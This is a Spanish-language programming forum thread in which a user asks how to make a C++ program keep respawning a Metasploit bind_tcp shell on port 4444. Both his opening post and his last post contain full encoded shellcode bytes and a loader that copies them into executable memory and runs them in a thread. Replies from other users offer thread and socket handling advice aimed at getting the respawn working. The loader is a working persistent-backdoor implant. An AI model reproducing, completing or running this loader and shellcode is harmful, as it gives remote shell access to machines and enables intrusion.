Problemas con un shellcode y CreateThread.

Iniciado por APOKLIPTICO, 7 Agosto 2012, 06:08 AM

0 Miembros y 1 Visitante están viendo este tema.

APOKLIPTICO

Hola! Como va? Bueno, estoy teniendo problemas con lo siguiente, necesito que mi programa spawnee una shell en el puerto 4444.
Para esto, utilicé el payload bind_tcp en el puerto 4444, con el parámetro exit mode en "Thread" para que cierre el thread una vez que se termina.

Este es el código que utilicé:
Código (cpp) [Seleccionar]
#include <process.h>
#include <iostream>
void SpawnShell(void *dummy);
using namespace std;
char szShellPayload[] = "\xdd\xc2\xba\x9f\xde\x8a\x09\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x56\x31\x50\x18\x03\x50\x18\x83\xe8\x63\x3c\x7f\xf5\x73\x48\x80\x06\x83\x2b\x08\xe3\xb2\x79\x6e\x67\xe6\x4d\xe4\x25\x0a\x25\xa8\xdd\x99\x4b\x65\xd1\x2a\xe1\x53\xdc\xab\xc7\x5b\xb2\x6f\x49\x20\xc9\xa3\xa9\x19\x02\xb6\xa8\x5e\x7f\x38\xf8\x37\x0b\xea\xed\x3c\x49\x36\x0f\x93\xc5\x06\x77\x96\x1a\xf2\xcd\x99\x4a\xaa\x5a\xd1\x72\xc1\x05\xc2\x83\x06\x56\x3e\xcd\x23\xad\xb4\xcc\xe5\xff\x35\xff\xc9\xac\x0b\xcf\xc4\xad\x4c\xe8\x36\xd8\xa6\x0a\xcb\xdb\x7c\x70\x17\x69\x61\xd2\xdc\xc9\x41\xe2\x31\x8f\x02\xe8\xfe\xdb\x4d\xed\x01\x0f\xe6\x09\x8a\xae\x29\x98\xc8\x94\xed\xc0\x8b\xb5\xb4\xac\x7a\xc9\xa7\x09\x23\x6f\xa3\xb8\x30\x09\xee\xd4\xf5\x24\x11\x25\x91\x3f\x62\x17\x3e\x94\xec\x1b\xb7\x32\xea\x5c\xe2\x83\x64\xa3\x0c\xf4\xad\x60\x58\xa4\xc5\x41\xe0\x2f\x16\x6d\x35\xff\x46\xc1\xe5\x40\x37\xa1\x55\x29\x5d\x2e\x8a\x49\x5e\xe4\xbd\x4d\x90\xdc\xee\x39\xd1\xe2\x01\xe6\x5c\x04\x4b\x06\x09\x9e\xe3\xe4\x6e\x17\x94\x17\x45\x0b\x0d\x80\xd1\x45\x89\xaf\xe1\x43\xba\x1c\x49\x04\x48\x4f\x4e\x35\x4f\x5a\xe6\x3c\x68\x0d\x7c\x51\x3b\xaf\x81\x78\xab\x4c\x13\xe7\x2b\x1a\x08\xb0\x7c\x4b\xfe\xc9\xe8\x61\x59\x60\x0e\x78\x3f\x4b\x8a\xa7\xfc\x52\x13\x25\xb8\x70\x03\xf3\x41\x3d\x77\xab\x17\xeb\x21\x0d\xce\x5d\x9b\xc7\xbd\x37\x4b\x91\x8d\x87\x0d\x9e\xdb\x71\xf1\x2f\xb2\xc7\x0e\x9f\x52\xc0\x77\xfd\xc2\x2f\xa2\x45\xfc\xde\x7e\x50\x69\x79\xeb\x19\xf7\x7a\xc6\x5e\x0e\xf9\xe2\x1e\xf5\xe1\x87\x1b\xb1\xa5\x74\x56\xaa\x43\x7a\xc5\xcb\x41;\xbb\x6c\x09\x32\x41\xdb\xc9\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x56\x31\x5f\x13\x03\x5f\x13\x83\xc7\x68\xeb\xc7\xbd\x98\x62\x27\x3e\x58\x15\xa1\xdb\x69\x07\xd5\xa8\xdb\x97\x9d\xfd\xd7\x5c\xf3\x15\x6c\x10\xdc\x1a\xc5\x9f\x3a\x14\xd6\x11\x83\xfa\x14\x33\x7f\x01\x48\x93\xbe\xca\x9d\xd2\x87\x37\x6d\x86\x50\x33\xdf\x37\xd4\x01\xe3\x36\x3a\x0e\x5b\x41\x3f\xd1\x2f\xfb\x3e\x02\x9f\x70\x08\xba\x94\xdf\xa9\xbb\x79\x3c\x95\xf2\xf6\xf7\x6d\x05\xde\xc9\x8e\x37\x1e\x85\xb0\xf7\x93\xd7\xf5\x30\x4b\xa2\x0d\x43\xf6\xb5\xd5\x39\x2c\x33\xc8\x9a\xa7\xe3\x28\x1a\x64\x75\xba\x10\xc1\xf1\xe4\x34\xd4\xd6\x9e\x41\x5d\xd9\x70\xc0\x25\xfe\x54\x88\xfe\x9f\xcd\x74\x51\x9f\x0e\xd0\x0e\x05\x44\xf3\x5b\x3f\x07\x9c\xa8\x72\xb8\x5c\xa6\x05\xcb\x6e\x69\xbe\x43\xc3\xe2\x18\x93\x24\xd9\xdd\x0b\xdb\xe1\x1d\x05\x18\xb5\x4d\x3d\x89\xb5\x05\xbd\x36\x60\x89\xed\x98\xda\x6a\x5e\x59\x8a\x02\xb4\x56\xf5\x33\xb7\xbc\x80\x73\x79\xe4\xc1\x13\x78\x1a\xf4\xbf\xf5\xfc\x9c\x2f\x50\x56\x08\x92\x87\x6f\xaf\xed\xed\xc3\x78\x7a\xb9\x0d\xbe\x85\x3a\x18\xed\x2a\x92\xcb\x65\x21\x27\xed\x7a\x6c\x0f\x64\x43\xe7\xc5\x18\x06\x99\xda\x30\xf0\x3a\x48\xdf\x00\x34\x71\x48\x57\x11\x47\x81\x3d\x8f\xfe\x3b\x23\x52\x66\x03\xe7\x89\x5b\x8a\xe6\x5c\xe7\xa8\xf8\x98\xe8\xf4\xac\x74\xbf\xa2\x1a\x33\x69\x05\xf4\xed\xc6\xcf\x90\x68\x25\xd0\xe6\x74\x60\xa6\x06\xc4\xdd\xff\x39\xe9\x89\xf7\x42\x17\x2a\xf7\x99\x93\x00\xc2\xc3\xb9\x3c\x6b\x96\xff\x20\x8c\x4d\xc3\x5c\x0f\x67\xbc\x9a\x0f\x02\xb9\xe7\x97\xff\xb3\x78\x72\xff\x60\x78\x57";
int main()
{
   _beginthread(SpawnShell, 0, 0);
   system("pause");
   return 0;
}

void SpawnShell(void *dummy)
{
   void *vPayload = VirtualAlloc(0, sizeof(szShellPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   memcpy(vPayload, szShellPayload, sizeof(szShellPayload)-2);
   HANDLE hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
   do
   {
       Sleep(2000);
       DWORD dwExit = 0;
       cout << (DWORD) hThread << endl << GetExitCodeThread(hThread, &dwExit) << endl << dwExit << endl;
       if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
   }while(true);
}


El programa funciona bien, pero el problema es que cuando cierro la shell una vez que la usé, en vez de cerrar correctamente, se queda trabado el thread en vez de llamar a la función devuelta.
Esto me devuelve:
(la dirección de hThread)
1
0

Y no cambia cuando cierro la shell.

Necesito que una vez que se cerró la shell, esta se spawnee devuelta. Cómo puedo hacer esto?? qué estoy haciendo mal?
Gracias!
APOKLIPTICO.

PD: El metasploit permite elegir otros métodos para terminar el shellcode, pero:
Process: Cierra el proceso, lo cual no quiero.
Seh (Structured Exception Handler): Salta un error en tiempo de ejecución.
None: Salta un error en tiempo de ejecución.
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.

fary

int main()
{
    _beginthread(SpawnShell, 0, 0);
    system("pause");
    ExitProcess(0); // #include <windows.h>
}


Haber si asi te sirve.

un saludo.
Un byte a la izquierda.

APOKLIPTICO

Mmh, no, es lo mismo, de todas maneras eso lo que hace es simplemente cambiar el return 0 por una llamada a exitprocess, el problema está en la interacción entre el shellcode y el programa principal que lo mantiene abierto.
Quizás podría utilizar un SEH???
Ahh. Sería "a ver" no "haber".

Un saludo
APOKLIPTICO.
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.

fary

Pero tu shellcode se ejecuta en otro proceso, quiero entender entonces, no?

PD: ***** de ortografia jajajaa
Un byte a la izquierda.

APOKLIPTICO

Nono, la shellcode se ejecuta en un thread aparte, de esta manera puedo seguir la ejecución del programa mientras está abierto el puerto. El problema es que no cierra el thread cuando se cierra la conexión.
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.

fary

#5
Pues entonces ExitProcess si que te tendría que funcionar, porque se supone que acaba con todos los hilos de un proceso y con el proceso.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682658%28v=vs.85%29.aspx

O con TerminateThead para cerrar solo el hilo.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686717%28v=vs.85%29.aspx

Un byte a la izquierda.

APOKLIPTICO

A ver, vos pusiste el exitprocess en la función main, tu código hace exáctamente lo mismo que mi código. El shellcode se supone que tiene una llamada a exitthread, de esta manera, cuando se cierra la conexión, se cierra el thread y el programa lo vuelve a iniciar. Necesito eso yo, y necesito que si yo después de llamar a la función SpawnShell quiero hacer otra cosa, esas cosas se ejecuten mientras la shell está abierta.
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.

david_BS

#7
void SpawnShell(void *dummy)
{
   void *vPayload = VirtualAlloc(0, sizeof(szShellPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   memcpy(vPayload, szShellPayload, sizeof(szShellPayload)-2);
   HANDLE hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
   do
   {
       Sleep(2000);
       DWORD dwExit = 0;
       cout << (DWORD) hThread << endl << GetExitCodeThread(hThread, &dwExit) << endl << dwExit << endl;
       if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
   }while(true);
}




Cita de: APOKLIPTICO en  7 Agosto 2012, 17:48 PM
Nono, la shellcode se ejecuta en un thread aparte, de esta manera puedo seguir la ejecución del programa mientras está abierto el puerto. El problema es que no cierra el thread cuando se cierra la conexión.

cuando "cerrás la conexión" como vos decís, queda dentro del do-while pero nunca hace un return,
de esa forma no se estaría cerrando el Thread. necesitarías saber con un flag o de otra forma, cuando
"cerrás la conexión" y terminar el Thread, para volverlo a crear


esto parecería hacer lo que te digo, pero vos dijiste que nunca pasa por acá
if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);

Citar
....
Necesito que una vez que se cerró la shell, esta se spawnee devuelta. Cómo puedo hacer esto?? qué estoy haciendo mal?
......

ya que eso es lo que entiendo que querés hacer..

Espero haberte ayudado, aunque no entiendo mucho el tema de la shellcode XD

es decir no se que código tenés realmente en esa shellcode, pero suponete que fuera esta función:

DWORD Thread(LPVOID args)
{
   return 0;
}

con eso debería retornar

ExitProcess no tendría sentido en este caso particular porque te cerraría el programa completo.
Aunque lo podés usar justamente al final de todo como te lo mostraron anteriormente.

fary

Si no te vuelve a escuchar en el puerto cuando la vuelves a llamar puede deberse a que no cierras el socket  :-\
Un byte a la izquierda.

APOKLIPTICO

Cambié el código, esta vez el payload utiliza un SEH (structured exception handler) para terminar, pero el problema es que cuando cierro la shell, crashea el programa.
Código (cpp) [Seleccionar]
#include <process.h>
#include <iostream>
using namespace std;
void SpawnShell(void *dummy);
char szPayload[] =
"\xba\x10\x4c\x14\x4c\xda\xc7\xd9\x74\x24"
"\xf4\x58\x31\xc9\xb1\x56\x31\x50\x13\x83"
"\xc0\x04\x03\x50\x1f\xae\xe1\xb0\xf7\xa7"
"\x0a\x49\x07\xd8\x83\xac\x36\xca\xf0\xa5"
"\x6a\xda\x73\xeb\x86\x91\xd6\x18\x1d\xd7"
"\xfe\x2f\x96\x52\xd9\x1e\x27\x53\xe5\xcd"
"\xeb\xf5\x99\x0f\x3f\xd6\xa0\xdf\x32\x17"
"\xe4\x02\xbc\x45\xbd\x49\x6e\x7a\xca\x0c"
"\xb2\x7b\x1c\x1b\x8a\x03\x19\xdc\x7e\xbe"
"\x20\x0d\x2e\xb5\x6b\xb5\x45\x91\x4b\xc4"
"\x8a\xc1\xb0\x8f\xa7\x32\x42\x0e\x61\x0b"
"\xab\x20\x4d\xc0\x92\x8c\x40\x18\xd2\x2b"
"\xba\x6f\x28\x48\x47\x68\xeb\x32\x93\xfd"
"\xee\x95\x50\xa5\xca\x24\xb5\x30\x98\x2b"
"\x72\x36\xc6\x2f\x85\x9b\x7c\x4b\x0e\x1a"
"\x53\xdd\x54\x39\x77\x85\x0f\x20\x2e\x63"
"\xfe\x5d\x30\xcb\x5f\xf8\x3a\xfe\xb4\x7a"
"\x61\x97\x79\xb1\x9a\x67\x15\xc2\xe9\x55"
"\xba\x78\x66\xd6\x33\xa7\x71\x19\x6e\x1f"
"\xed\xe4\x90\x60\x27\x23\xc4\x30\x5f\x82"
"\x64\xdb\x9f\x2b\xb1\x4c\xf0\x83\x69\x2d"
"\xa0\x63\xd9\xc5\xaa\x6b\x06\xf5\xd4\xa1"
"\x31\x31\x1b\x91\x12\xd6\x5e\x25\x85\x7a"
"\xd6\xc3\xcf\x92\xbe\x5c\x67\x51\xe5\x54"
"\x10\xaa\xcf\xc8\x89\x3c\x47\x07\x0d\x42"
"\x58\x0d\x3e\xef\xf0\xc6\xb4\xe3\xc4\xf7"
"\xcb\x29\x6d\x71\xf4\xba\xe7\xef\xb7\x5b"
"\xf7\x25\x2f\xff\x6a\xa2\xaf\x76\x97\x7d"
"\xf8\xdf\x69\x74\x6c\xf2\xd0\x2e\x92\x0f"
"\x84\x09\x16\xd4\x75\x97\x97\x99\xc2\xb3"
"\x87\x67\xca\xff\xf3\x37\x9d\xa9\xad\xf1"
"\x77\x18\x07\xa8\x24\xf2\xcf\x2d\x07\xc5"
"\x89\x31\x42\xb3\x75\x83\x3b\x82\x8a\x2c"
"\xac\x02\xf3\x50\x4c\xec\x2e\xd1\x72\x1c"
"\xe2\xcc\xe3\x87\x97\xac\x69\x38\x42\xf2"
"\x97\xbb\x66\x8b\x63\xa3\x03\x8e\x28\x63"
"\xf8\xe2\x21\x06\xfe\x51\x41\x03";
int main()
{
    _beginthread(SpawnShell, 0, 0);
    while(true); //Para que no se termine el programa.
    return 0;
}

void SpawnShell(void *dummy)
{
    void *vPayload = VirtualAlloc(0, sizeof(szPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(vPayload, szPayload, sizeof(szPayload)-2);
    do
    {
        cout << "Started" << endl;
        try
        {
            ((void(*)())vPayload)();
        }
        catch(DWORD dwOut){cout << dwOut << endl;}
    }while(true);
}
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.